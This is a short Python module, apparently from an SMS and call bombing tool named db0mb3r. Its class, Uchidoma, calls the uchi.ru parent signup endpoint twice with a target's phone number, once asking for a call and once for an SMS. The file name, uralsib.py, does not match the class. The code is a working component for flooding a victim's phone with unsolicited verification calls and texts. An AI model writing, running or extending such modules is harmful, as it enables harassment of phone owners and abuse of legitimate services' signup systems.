uralsib.py 670 B

123456789101112131415161718192021222324
  1. from db0mb3r.services.service import Service
  2. class Uchidoma(Service):
  3. async def run(self):
  4. await self.post(
  5. "https://app.doma.uchi.ru/api/v1/parent/signup_start",
  6. json={
  7. "phone": "+" + self.formatted_phone,
  8. "first_name": "-",
  9. "utm_data": {},
  10. "via": "call",
  11. },
  12. )
  13. await self.post(
  14. "https://app.doma.uchi.ru/api/v1/parent/signup_start",
  15. json={
  16. "phone": "+" + self.formatted_phone,
  17. "first_name": "-",
  18. "utm_data": {},
  19. "via": "sms",
  20. },
  21. )